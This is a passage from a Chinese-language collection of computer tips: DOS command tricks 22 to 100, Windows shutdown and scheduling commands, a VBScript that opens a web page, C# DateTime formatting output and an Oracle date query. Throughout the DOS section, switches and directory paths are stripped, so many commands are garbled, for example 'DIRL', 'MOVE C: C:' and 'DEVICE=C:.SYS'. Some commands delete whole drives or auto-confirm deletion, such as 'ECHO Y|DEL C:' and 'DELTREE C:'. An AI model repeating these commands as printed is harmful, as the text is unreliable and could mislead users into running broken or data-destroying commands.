  XCOPY A: B:
  22.整理軟碟中碎塊,提高使用效率
  一張軟碟經過多次建立和移除文件操作後,某些文件記錄會以不連續的形式存放在軟碟空間中,造成軟碟空間產生許多碎塊,影響軟碟的讀寫操作效能,嚴重時可導致讀寫故障。
  解決以上問題可使用COPY指令進行整盤拷貝,則新碟上的文件保持連續存放。
  23.將多個文件連續拷入多張軟碟。
  首先,用ATTRIB指令設定每一文件的我的文件特性︰
  ATTRIB+A *.*S
  然後使用XCOPY指令,在軟碟裝滿後插入新盤,根據我的文件特性決定哪些文件需要拷貝,哪些不拷。
  XCOPY *.* A︰SMW
  24.使用TYPE指令"拷貝"文件
  拷貝文件通常使用COPY指令或XCOPY指令,其實,TYPE也有"拷貝"文件的用途︰
  TYPE filenamel>filename2
  這種方法對於拷貝隱含文件非常有效。例如︰TYPE IO.SYS>A︰IO.SYS
  25.以小寫方式顯示文件或目錄
  DIRL
  26.只顯示檔案名與子目錄名,不顯示文件大小和產生時間等訊息
  DIRB
  27.使DIR總是按檔案名的字母順序來顯示文件
  在AUTOEXEC BAT中加入下述指令即可︰
  SET DIRCMD=O
  28.列當天新增的文件目錄
  若想知道當天(如1996年10月21日)建立了多少文件,可用下述指令列出︰
  DIR|FIND"10 21 1996"
  29.若不希望別人使用DIR指令進行目錄文件列表,有什麼方法呢?
  方法一︰DOSKEY DIR=You can not use DIR!
  方法二︰在AUTOEXEC BAT中加入指令行︰SET DIRCMD=0
  此指令的功能是在用DIR指令來顯示文件時,只顯示"File not found",能起到暫時保密的作用。若想顯示文件及目錄,只有指定具體的檔案名或路徑。
  方法三︰SET DIRCMD=DIR>NUL
  此指令執行後再使用DIR指令,將輸出沒有文件的訊息,也頗具迷惑性。
  30.出所有目錄中的文件
CHKDSKV|MORE
31.如何在有多級目錄的磁牒上搜尋文件
  方法一︰CHKDSKV|FIND"檔案名"其中檔案名必須用大寫字母。
  方法二︰DIRS檔案名
32.既時控制列印機的換行或換頁
   ECHO+>PRN(換行)
   ECHO^L>PRN(換頁)
  33.使電腦在DOS指令行發出聲音
   ECHO ^G
  34.DOS指令提問的自動回應
  例如︰
   ECHO Y|DEL C︰
   ECHO N|CHKDSK C︰F
  35.使ECHO指令顯示空行
  ECHO指令後直接跟空格字元時,ECHO將顯示現用的訊息回顯狀態(ON或OFF),而不直接向螢幕回顯空行。其實,下面一些非常簡單的指令格式都能使ECHO指令顯示空行︰
  ECHO ECHO, ECHO; ECHO+
  ECHO[ ECHO] ECHO ECHO\par
36.用ECHO指令向交互式DOS指令饋送Enter鍵符
例如︰
  ECHO+|DATE|FIND"Current date"
ECHO+|TIME|FIND"Current time" 
此技巧可用於AUTOEXEC.BAT中,使每次開機後直接顯示當前日期和時間訊息,不必按Enter鍵鍵就能繼續下去。
  37.開機時間黑匣子
  有時需要記錄每次使用電腦的日期和時間,以便加強用機管理。可以利用上述技巧,只須在AUTOEXEC.BAT文件中加入下列指令︰
  ECHO+|DATE>>ABC
  ECHO+|TIME>>ABC
  這樣在每次啟動電腦後,文件ABC中就自動記錄了日期和時間,執行指令TYPE ABC即可檢視以往開機日期和時間。
  38.自動統計指令或文件的執行時間
  下面指出一個計時器TIMETEST.BAT,實現了自動統計指令或文件的執行時間︰
  @ECHO OFF
  TIME 0
  COMMAND C %1 %2 %3 %4
  ECHO %1 %2 %3 %4執行時間為︰
  ECHO+|TIME|FIND"time is"
  @ECHO ON
  例如,測試AUTOEXEC.BAT執行時間︰
  C>TIMETEST AUTOEXEC.BAT │
  AUTOEXEC.BAT執行時間為︰
  Current time is 0︰00︰03 49
  說明AUTOEXEC.BAT執行了3.49秒。
39.跳過或單步執行CONFIG.SYS和AUTOEXEC.BAT文件
  方法一︰啟動電腦,螢幕出現Starting MS-DOS…時,按F5鍵或SHIFT鍵,DOS便會跳過CONFIG.SYS和AUTOEXEC.BAT兩文件,用系統執行的基本環境組態來啟動機器。
  方法二︰當出現上面的提示後,按F8鍵,並通過鍵盤逐一回答Y或N來選項執行指令。
  方法三︰在CONFIG.SYS文件的指令中加上"?"號。如DOS?=UMS,這樣在執行到該條指令時,便會出現[Y,N]?的選項提示,讓你選項是否裝入該指令。
  40.能否省去DOS啟動時等待按F8或F5的兩秒時間?
  能。方法是在CONFIG SYS文件的頭部加上語句SWITCHES=F,此後同樣可以實現以前的功能,方法是在未出現"Starting MS-DOS…"時就按下F8或F5鍵。
41.單步執行批次處理文件
  COMMANDYC(批次處理檔案名)
  開關Y告訴DOS在執行每一行前暫停,提示[Y,N]?詢問用戶是否執行。
  42.快速獲取DOS指令的說明 訊息
  方法一︰FAST HELP 指令名
  方法二︰指令名?
  方法三︰指令名H
  43.方便地更改子目錄名
  以下MOVE指令能將C︰目錄改名為C︰︰
  MOVE C︰ C︰
  44.什麼時候使用MOVE指令移動文件?
  MOVE指令的最大特點是可以在一個指令行裡列出多個要移的文件,文件之間可用","號相隔。例如,將當前目錄中所有可執行文件均移進目錄中︰
  MOVE *.COM,*.EXE,*.BAT
  45.用MOVE指令對子目錄進行簡單加密或解密
  加密︰如將C︰目錄利用半個漢字進行簡單加密,可執行指令︰
  MOVE C︰ C(半個漢字字元)
  解密︰反之,可用MOVE指令結合萬用字元*或?,將不可識別的目錄名改成其它名字,達到解密目的。
  46.快速進入深層子目錄
  可用SUBST指令設定驅動器標幟符,取代深層次子目錄路徑,使得進入深層次子目錄十分方便。例如,下述指令可以將子目錄C︰模擬成M盤︰
  SUBST M︰ C︰
  這樣,在任何目錄下,只要將當前驅動器變成M,即可進入PRG子目錄。
  47.如何取消SUBST設定的磁碟代號?
  例如,要取消上例中的M盤,只須執行指令SUBST M︰D即可。
  48.建立並進入新目錄的MD指令
  DOS中的MD指令只能建立子目錄,建好後再用CD指令進入,其實可以用︰
DOSKEY MD=MD $1 $T CD $1
對MD指令進行重新定義,此後使用MD時,建立目錄和進入目錄同步完成。
  49.排除法文件列表
  DIR指令中支持萬用字元*和?來替代其它字元,但卻沒有提供相應的排除字元的功能,而利用FIND指令中的V參數,則能方便地實現排除法列表。下述指令能將除去.BAK文件和子目錄以外的所有文件列出︰
  DIR|FINDV"BAK"|FINDV"<DIR>"
  50.>和>>的區別
  DIR>DIRLIST︰如果DIRLIST文件存在,將清除其文件內容,並將新內容輸入文件中。
  DIR>>DIRLIST︰如果DIRLIST文件存在,將輸出資料附加到這個文件末尾。
  在DIRLIST文件不存在時,兩者是等價的。
  51.快速增加搜尋路徑
  PATH=%PATH%;%1
  52.對資料檔案及由字處理程序產生的文本文件等不可執行文件,建立自動搜尋路徑。
  APPEND指令能將一組指定的目錄增加進當前目錄的邏輯增強,從而不用指定路徑就能開啟這組文件。APPEND後可以放多個目錄,只要用";"隔開即可,例如︰
  APPEND C︰;C︰;C︰;C︰;
  53.將目錄名隱藏起來
  由於ATTRIB指令可改變一個目錄的內容,所以利用該指令可將目錄名隱藏起來。例如,將目錄C︰隱藏起來︰
  ATTRIB +H C︰
  54.快速移除目錄樹
  用DELTREE指令可快速地移除指定目錄,而不管目錄中有多少子目錄和目錄及文件為何種內容。例如︰DELTREE C︰
  55.防止誤移除文件
  DEL指令是一個危險的指令,可以用下述指令對其進行重新定義,使得在移除文件時有驗證提示︰
  DOSKEY DEL=DEL $1P
  56.如果誤移除了某些文件,有什麼辦法及時地將它們恢復?
  UNDELETE指令可以用來恢復移除文件,以下指令能將當前目錄中的被刪文件恢復出來︰
  UNDELETE *.*ALL
  此指令恢復出來的檔案名的第一個字元變成了#,可用REN指令更改成原來的檔案名。
  57.移除多個檔案名無共同特徵的文件時,由於難用萬用字元,只能逐個移除,比較麻煩。有沒有其他方便的方法?
  有。使用DEL *.*P指令,系統會逐個列出指定目錄的所有文件,詢問用戶是否移除,對欲移除文件回答Y,否則回答N。
  58.加密檔案名一法
  在要加密的檔案名最後加上ASCII字元255。方法是輸入檔案名後按下ALT鍵,然後輸入255。這樣,用DIR指令列出該檔案時,並不顯示這個字元,即從檔案名看不出發生了任何變化,起到了一定的加密作用。
  59.回憶用過的指令
  執行DOSKEY指令後,用戶所輸入的指令便被儲存於起來,以後若要回憶使用過的指令,可隨時用"↑"或"↓"鍵進行前後逐條搜尋。
  60.禁止非法訪問某個驅動器
  在AUTOEXEC.BAT文件中加入下述兩條指令,可以禁止非法訪問D碟,當輸入D︰時,螢幕即關閉,只有知道密碼ZM的人才能進入D碟︰
  DOSKEY D︰=ECHO OFF
  DOSKEY ZM=D︰
  61.防止別人誤將C碟格式化
  為了保護C碟,防止別人格式化,可用DOSKEY對FORMAT指令進行重新定義,例如︰
  DOSDEY FORMAT=You can not format C︰!
  這樣,別人在使用FORMAT時將出現Yor can not format C︰!的提示,從而使C碟得到保護。若自己想用FORMAT時,再用如下指令恢復︰
  DOSKEY FORMAT=
  62.檢查螢幕狀態,獲得有關螢幕顯示字元和行數的報告
MODE CON
63.設定螢幕每行顯示字元數和每屏的行數
  例如︰
  MODE CON COLS=80 LINES=25
  64.提高鍵盤的回應速度
  MODE CON︰RATE=32 DELAY=1
  65.不喜歡系統啟動時Num Lock鍵的預設設定怎麼辦?
  在CONFIG SYS文件中加進NUMLOCK指令,根據你的愛好指定系統啟動時NUMLOCK鍵的狀態︰
  NUMLOCK=ON(或OFF)
  66.簡單的鍵盤鎖
  在你使用電腦時,如果只離開一會,又不想關機,為了不讓別人隨意使用,可編製一個簡單的鍵盤鎖LOCK BAT程序(內容如下)︰
  @ECHO OFF
  CLS
  CHOICEC:*N
  執行之後,形同當機,"*"號就是鍵盤鎖的鑰匙,不知道的人無法破譯。
  67.文件的選項顯示
  假設有MY1 TXT、MY2 TXT、…、MY10.TXT共10個文件,現欲顯示其中的MY2.TXT、MY3.TXT、MY6.TXT和MY9.TXT 4個文件,可用如下指令很方便地實現︰
FOR %A IN(2369)DO TYPE MY%A.TXT
  68.移除誤拷貝文件
  當用COPY A︰*.*指令把A碟上所有檔案拷貝到硬碟某子目錄下時,卻不慎誤拷貝到硬碟根目錄下,如誤拷貝的文件數量很多,且檔案名沒有任何特徵,這時如要移除這些文件,通常做法是用PCTOOLS工具軟體進行選項移除,比較麻煩。使用FOR指令就簡單多了︰
  A>FOR %A IN(*.*)DO DEL C︰%A
  69.由於FIND指令不能接受萬用字元,若希望在若干個文本文件中尋找含有某個字元串插,就只能對每個文件依次使用FIND指令,顯然很費功夫,沒有捷徑嗎?
有。使用FOR指令與FIND指令配合,格式為︰
FOR%A IN(文件組)DO FIND"string"%A
70.FOR指令不能嵌套,有沒有辦法實現FOR循環嵌套呢?
   有。可以把COMMAND.COM作為第一層循環裡的指令,讓它再執行一個FOR循環指令。例如,下述指令可以在螢幕上顯示12行"Welcome you":FOR %A IN(123)DO COMMANDC FOR %B IN(1234)DO ECHO Welcome you
  71.雙冒號︰︰在註釋行中的作用
在DOS批次處理文件開頭,經常使用REM註釋指令加一個程序頭。例如,假設有一個名為TEST.BAT的批次處理文件,它以一個文本檔案名為輸入參數,若在開頭說明其用法時,使用了一個採用<和>和括號的註釋行,即︰
  REM TEST<filename>
  程序執行此指令時,DOS將顯示"File not found"訊息,因為它以為filename是一個重轉發IP輸入操作的源文件,它在當前目錄中找不到。如何解決這個問題?
  很簡單,只須將REM改為雙冒號"︰︰",即︰
  ︰︰TEST<filename>
  72.批次處理中的IF ERRORLEVEL
在批次處理文件裡使用IF ERRORLEVEL指令時要小心,因為DOS認為任何大於或等於設定值的出口狀態值都是等效的。通常應按從大到小的次序測試出口狀態值,例如︰
  IF ERRORLEVEL 2 ECHO TWO
  IF ERRORLEVEL 1 ECHO ONE
  IF ERRORLEVEL 0 ECHO ZERO
  73.能不能按從小到大的次序測試出口狀態值?
  能。但應結合IF NOT的形式進行判斷,例如72例中的指令應改為︰
  IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 ECHO ZERO
  IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 ECHO ONE
  IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 ECHO TWO
  74.批次處理文件中使用@符禁止指令顯示在螢幕上
  由於DOS是在各個指令執行前就將它們顯示到螢幕上的,因此,即使你將ECHO指令置為OFF,它本身也會出現在螢幕上。要抑制它的顯示,可在ECHO指令行前加@符︰@ ECHO OFF
  75.統計源程序的行數
  假設源程式名稱為ZM.PRG,下述FIND指令可方便地統計它共有多少行︰
  FINDVC" "ZM.PRG
  76.對文本文件進行排序
  SORT指令常用來對一些關於文本行的文件進行排序顯示。例如,按姓名的開頭字母顯示一個含有電話號碼的清單文件。指令格式︰
  SORT[R][+n]<filename1>filename2
  其中,R表示反向排序,+n表示從第幾行開始排序,filename1為源檔案名,filename2為排序後的檔案名。
  77.用PROMPT設定有意義的提示號
  PROMPT指令用於設定新的DOS系統提示號。例如︰
  PROMPT $P$G 取當前驅動器名及目錄作為提示號
  PROMPT $D$G 取當前系統日期作為提示號。
  78.如何設定螢幕顏色?
  假設ANSI.SYS已被安裝在記憶體中,以下指令可把螢幕設定成白底紅字︰
  PROMPT $E[31;47m
  79.在螢幕上選定的位置顯示日期和時間訊息
  把ANSI SYS的螢幕和游標控制功能與PROMPT的設定DOS命令提示字元功能結合起來,可以在螢幕上選定的位置顯示特殊的訊息。例如,在AUTOEXEC BAT中加入下述指令行,可將日期和時間訊息移到螢幕的右下方︰
  PROMPT $E[S $E[25;52H $D$T $E[u $P$G
80.用F2鍵編輯上次指令
用F1或F3功能鍵可複製上次指令,類似地F2鍵能得到部分上次指令,當按下F2鍵時,DOS就將上次指令內容拷貝到按F2鍵後按鍵輸入的字元(不含)為止。
例如,按鍵輸入了以下指令︰
C>DIR.COM<enter>
按F2鍵及M鍵,可以得到︰
C>DIR
這時再按INS插入鍵,輸入R,再按F3鍵複製上次指令剩餘部分,得到正確的指令︰
C>DIR.COM
81、用F4鍵編輯上次指令
當按下F4鍵時,DOS從按F4鍵後按的字母開始複製上次指令。例如,上次指令為︰
C>DIR[enter]
按下F4鍵,再輸入F,然後再按F3,DOS就會顯示FORMAT指令︰
C>FORMAT
82、用SHELL指令改變環境空間的大小
將環境變數空間增加到1KB,可在CONFIG.SYS文件中加進指令行︰
SHELL=C︰.COMPE︰1024
83、在批次處理文件中引用環境變數
批次處理文件可以引用系統上已定義的環境變數。具體方法是在環境變數名的前後各放一個百分號"%"。例如,要在批次處理文件中顯示環境變數PATH的內容,可加進指令行︰
ECHO %PATH%
84、檢視單個環境變數
如果你經常使用環境變數,當用SET指令顯示當前所有已分配的環境變數時,列表就可能很長,螢幕可能很雜亂。為方便起見,可用下面的批次處理文件VIEWENV.BAT在指令行直接顯示單個環境變數︰
SET|FINDI "%1"
例如,要察看COMSPEC的內容,只須執行︰
VIEWENV COMSPEC
85、製作DOS系統碟
方法一︰FORMAT A︰S
方法二︰SYS A︰
86、定期整理硬碟
具體步驟︰
·移除硬碟中不必要的文件
·執行CHKDSKF
·執行DEFRAG
87、瞭解記憶體的檔案類型
·一般記憶體︰0∼640KB
·上位記憶體區(UMA)︰640KB∼1MB
·增強記憶體︰自1MB起向上延伸
·高記憶體區(HMA)︰1MB以上的稍小於64KB的增強記憶體區
·擴充記憶體
88、將DOS移到高記憶體區
為使用戶有較大的可用基本記憶體,可以在CONFIG.SYS文件中加入下述指令,載入HIMEM.SYS,將DOS移入高記憶體區(HMA)︰
DEVICE=C︰.SYS
DOS=HIGH
89、將設備驅動程式和記憶體駐停留程序裝入上位記憶體(UMB)
在CONFIG.SYS文件中加進指令︰
DEVICE=C︰.EXE NOEMS
DOS=UMB
90、將程序裝入高記憶體區
將程序裝入HMA的方法是在指令行上加一個U開關,例如︰
MOUSEU
91、上位記憶體的使用
為將程序駐停留上位記憶體,使用LOADHIGH(或LH)<程式名稱>即或,例如︰
LH MOUSE
92、如何顯示某個特定程序佔用記憶體的情況?
MEMM module
其中,module表示特定程式文件名,不要帶副檔名。
93、使用Memmaker自動最佳化記憶體
執行MEMMAKERBATCH指令,MEMMAKER就自動為CONFIG.SYS和AUTOEXEC.BAT文件做最優的設定,此後,執行MEMCP來觀察記憶體的分配情況,你會發現主存變大了。
94、若不滿意MEMMAKER的最佳化設定,應該怎麼辦?
很簡單,只須執行MEMMAKERUNDO即可恢復你原來的組態。
95、磁牒高速緩衝儲存於器SMARTDRV的使用
為建立一個具有256K(預設值)的磁牒高速快取,可在AUTOEXEC.BAT文件中加入指令行︰
C︰
由於SMARTDRV是建立在增強記憶體中,所以還必須在CONFIG.SYS文件中加入指令行︰
DEVICE=C︰.SYS
96、當你電腦關機或重新啟動時,希望確定所有在高速快取的訊息均已寫入硬碟時,應在系統提示號下按鍵輸入指令︰
SMARTDRVC
97、跳過SCANDISK的磁介質掃瞄
執行SCANDISK時,磁介質掃瞄要消耗很長時間,其實,使用SCANDISKCHECKONLY便可跳過它。
98、LOADFIX指令的正確使用
在最佳化程序中,有少數程序不能在640KB一般記憶體的低64KB內正確執行。此時,可使用LOADFIX指令讓可執行程序(如ZMPROG.EXE)在低64KB以上的記憶體中執行,方法是在要執行的應用程式前加上LOADFIX︰
LOADFIX ZMPROG
99、何時使用虛擬盤(也稱RAM盤)?
RAM 盤能顯著提高磁牒文件的存取速度,但它在斷電或重啟動時會丟失掉資料。因此,使用RAM盤時要特別小心。在沒有硬碟的系統上,RAM盤值得一用;在需要存 放較大的臨時文件或複製程序時,也可以使用;當你的系統上配有CD-ROM時,在開始工作前,可將CD-ROM碟上的文件與資料複製進RAM盤,能夠顯著 提高效率。
100、虛擬盤的安裝
DOS提供的RAMDRIVE.SYS是一個虛擬盤驅動程式,你可以將它安裝進記憶體,讓它使用增強記憶體或擴充記憶體,產生指定大小的RAM盤。例如,在CONFIG.SYS中加進下述指令,可在增強記憶體中產生一個1MB的RAM盤︰
DEVICE=C︰.SYS 1024E

shutdown關機指令

系統內建 shutdown.exe 這個程式

立即關機:
shutdown -s -t 0

登出:
shutdown -l

立即重新啟動 :
shutdown -r -t 0

windows XP 快速關機指令
shutdown -s -f -t 0

* 電腦將在30秒後電腦.並跳出警告視窗
SHUTDOWN -S -T 30 -C "你的電腦將在30秒後電腦"

* 取消關機
SHUTDOWN -A

* 每個禮拜一的上午九點這個關機程式就會自動執行
at 9:00 /EVERY:MONDAY "SHUTDOWN -S -T 30 -C "電腦將在30秒後電腦" "

* 每個月的第 1 與 15 天上午九點執行重新開機
at 9:00 /every:1,15 "SHUTDOWN -r -T 30 -C "電腦將在30秒後重新開機" "


* 在每週(一二三)的八點三十分.執行auto.bat
at 08:30 /every:M,T,W "c:auto.bat"

利用windwos的排程+VBS來開啟網頁

Sub openrul(str)
 set IE = WScript.CreateObject("InternetExplorer.Application")
 IE.Navigate str
 IE.ToolBar = False
 IE.StatusBar = False
 IE.Resizable = False
 IE.Width = 300
 IE.Height = 300
 Do
 Loop While IE.Busy
 IE.Visible = True
End sub
CALL openrul("http://www.yahoo.com.tw")

'以上code用記事本存成.vbs副檔名,搭配排程就可用了

DateTime format 日期 時間 格式

DateTime.Now.ToShortTimeString()
DateTime dt = DateTime.Now;
dt.ToString();//2005-11-5 13:21:25
dt.ToFileTime().ToString();//127756416859912816
dt.ToFileTimeUtc().ToString();//127756704859912816
dt.ToLocalTime().ToString();//2005-11-5 21:21:25
dt.ToLongDateString().ToString();//2005年11月5日
dt.ToLongTimeString().ToString();//13:21:25
dt.ToOADate().ToString();//38661.5565508218
dt.ToShortDateString().ToString();//2005-11-5
dt.ToShortTimeString().ToString();//13:21
dt.ToUniversalTime().ToString();//2005-11-5 5:21:25
dt.Year.ToString();//2005
dt.Date.ToString();//2005-11-5 0:00:00
dt.DayOfWeek.ToString();//Saturday
dt.DayOfYear.ToString();//309
dt.Hour.ToString();//13
dt.Millisecond.ToString();//441
dt.Minute.ToString();//30
dt.Month.ToString();//11
dt.Second.ToString();//28
dt.Ticks.ToString();//632667942284412864
dt.TimeOfDay.ToString();//13:30:28.4412864
dt.ToString();//2005-11-5 13:47:04
dt.AddYears(1).ToString();//2006-11-5 13:47:04
dt.AddDays(1.1).ToString();//2005-11-6 16:11:04
dt.AddHours(1.1).ToString();//2005-11-5 14:53:04
dt.AddMilliseconds(1.1).ToString();//2005-11-5 13:47:04
dt.AddMonths(1).ToString();//2005-12-5 13:47:04
dt.AddSeconds(1.1).ToString();//2005-11-5 13:47:05
dt.AddMinutes(1.1).ToString();//2005-11-5 13:48:10
dt.AddTicks(1000).ToString();//2005-11-5 13:47:04
dt.CompareTo(dt).ToString();//0
dt.Add(?).ToString();//問號為一個時間段
dt.Equals("2005-11-6 16:11:04").ToString();//False
dt.Equals(dt).ToString();//True
dt.GetHashCode().ToString();//1474088234
dt.GetType().ToString();//System.DateTime
dt.GetTypeCode().ToString();//DateTime
 
dt.GetDateTimeFormats(s)[0].ToString();//2005-11-05T14:06:25
dt.GetDateTimeFormats(t)[0].ToString();//14:06
dt.GetDateTimeFormats(y)[0].ToString();//2005年11月
dt.GetDateTimeFormats(D)[0].ToString();//2005年11月5日
dt.GetDateTimeFormats(D)[1].ToString();//2005 11 05
dt.GetDateTimeFormats(D)[2].ToString();//星期六 2005 11 05
dt.GetDateTimeFormats(D)[3].ToString();//星期六 2005年11月5日
dt.GetDateTimeFormats(M)[0].ToString();//11月5日
dt.GetDateTimeFormats(f)[0].ToString();//2005年11月5日 14:06
dt.GetDateTimeFormats(g)[0].ToString();//2005-11-5 14:06
dt.GetDateTimeFormats(r)[0].ToString();//Sat, 05 Nov 2005 14:06:25 GMT
string.Format("{0:d}",dt);//2005-11-5
string.Format("{0:D}",dt);//2005年11月5日
string.Format("{0:f}",dt);//2005年11月5日 14:23
string.Format("{0:F}",dt);//2005年11月5日 14:23:23
string.Format("{0:g}",dt);//2005-11-5 14:23
string.Format("{0:G}",dt);//2005-11-5 14:23:23
string.Format("{0:M}",dt);//11月5日
string.Format("{0:R}",dt);//Sat, 05 Nov 2005 14:23:23 GMT
string.Format("{0:s}",dt);//2005-11-05T14:23:23
string.Format("{0:t}",dt);//14:23
string.Format("{0:T}",dt);//14:23:23
string.Format("{0:u}",dt);//2005-11-05 14:23:23Z
string.Format("{0:U}",dt);//2005年11月5日 6:23:23
string.Format("{0:Y}",dt);//2005年11月
string.Format("{0}",dt);//2005-11-5 14:23:23
string.Format("{0:yyyyMMddHHmmssffff}",dt);
計算2個日期之間的天數差
-----------------------------------------------
DateTime dt1 = Convert.DateTime("2007-8-1"); 
DateTime dt2 = Convert.DateTime("2007-8-15");
TimeSpan span = dt2.Subtract(dt1);           
int dayDiff = span.Days + 1;                 
計算某年某月的天數
----------------------------------------------- 
int days = DateTime.DaysInMonth(2007, 8);    
days = 31;                                   
給日期增加一天、減少一天
-----------------------------------------------
DateTime dt =DateTime.Now;
dt.AddDays(1); //增加一天
dt.AddDays(-1);//減少一天
其它年份方法類似...
Oracle SQL裡轉換日期函數
-----------------------------------------------
to_date("2007-6-6",YYYY-MM-DD");
to_date("2007/6/6",yyyy/mm/dd");
如下一組數據,如何查找表裡包含9月份的記錄:
CGGC_STRATDATE  CGGC_ENDDATE
=========================================
2007-8-4  2007-9-5
2007-9-5  2007-9-20
2007-9-22  2007-10-5
SELECT * FROM TABLE
(TO_DATE(2007/9/1,yyyy/mm/dd) BETWEEN CGGC_STRATDATE
AND CGGC_ENDDATE OR CGGC_STRATDATE >=TO_DATE(2007/9/1,yyyy/mm/dd)
AND CGGC_ENDDATE<=TO_DATE(2007/9/30,yyyy/mm/dd) "
OR TO_DATE(2007/9/30,yyyy/mm/dd) BETWEEN CGGC_STRATDATE
AND CGGC_ENDDATE) ORDER BY CGGC_STRATDATE ASC